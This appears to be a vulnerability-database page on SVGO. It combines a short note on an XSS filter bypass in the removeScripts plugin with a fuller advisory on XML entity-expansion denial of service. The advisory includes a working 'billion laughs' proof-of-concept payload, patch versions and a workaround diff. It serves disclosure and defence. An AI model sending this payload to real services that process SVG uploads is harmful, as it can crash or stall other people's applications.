See how svgo compares to other vendors in security performance
SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 1.0.0 until versions 2.8.4, 3.3.5, and 4.1.0, the opt-in removeScripts plugin, named removeScriptElement in versions 2 and 3, incompletely filters executable links in plugins/removeScripts.js and lib/svgo/tools.js. The plugin does not recognize namespace-prefixed SVG anchor elements such as svg:a with href or namespaced :href values, and it does not remove ASCII tab, line-feed, or carriage-return characters before checking URL schemes. Browsers remove those characters before parsing a scheme, allowing an executable link to pass the plugin's check. When an application processes attacker-controlled SVG input and serves the result in an active browser context, a victim who activates the surviving link can execute script in the SVG's origin, expose data, modify content, or perform actions as the victim. This issue is fixed in versions 2.8.4, 3.3.5, and 4.1.0.
Summary
SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory.
Details
The upstream XML parser (sax) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the DOCTYPE, inserting them into parser.ENTITIES, and enabled unparsedEntities. This gives us the desired behavior of supporting SVGs with entities declared in the DOCTYPE.
However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them.
Proof of Concept
js import { optimize } from 'svgo';
/ Presume that this string was obtained in some other way, such as network. / const original = <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> ;
optimize(original);
Impact
If SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG < 1 KB in size.
It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines.
Patches
SVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore.
Workarounds
== 4.0.0
For v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively:
For example:
sh yarn up -R sax
New options were introduced upstream which makes the way SVGO parses SVGs safe by default.
= 2.1.0, <= 3.3.2
Users of v3 and v2 will have to take manual action. If users can't upgrade, they may be able to work around this as long as the project doesn't require support for custom XML entities, though it's not a simple flag.
Parse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO.
diff + import SAX from 'sax'; import { optimize } from 'svgo';
- const original = + let original = <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> ;
+ const parser = SAX.parser(); + / @param {string} doctype / + parser.ondoctype = (doctype) => { + original = original.replace(doctype, ''); + } + parser.write(original);
optimize(original);
Resources
Wikipedia: Billion laughs attack